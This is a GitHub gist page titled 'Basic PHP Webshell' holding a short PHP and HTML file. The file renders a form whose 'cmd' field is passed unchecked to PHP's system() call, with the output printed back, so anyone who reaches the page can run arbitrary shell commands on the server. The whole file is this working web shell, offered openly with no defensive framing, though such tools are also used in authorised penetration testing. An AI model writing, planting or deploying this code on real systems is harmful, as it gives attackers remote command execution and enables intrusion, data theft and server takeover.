Skip to content

Instantly share code, notes, and snippets.

@sgmurphy
Last active September 25, 2024 01:31
Show Gist options
  • Save sgmurphy/5f52b2db3758560ff898f74c067aff12 to your computer and use it in GitHub Desktop.
Save sgmurphy/5f52b2db3758560ff898f74c067aff12 to your computer and use it in GitHub Desktop.
Basic PHP Webshell
<html>
<body>
<form method="GET">
<input type="text" name="cmd" id="cmd" autofocus>
<input type="submit" value="Run!">
</form>
<pre>
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd'] . ' 2>&1');
}
?>
</pre>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment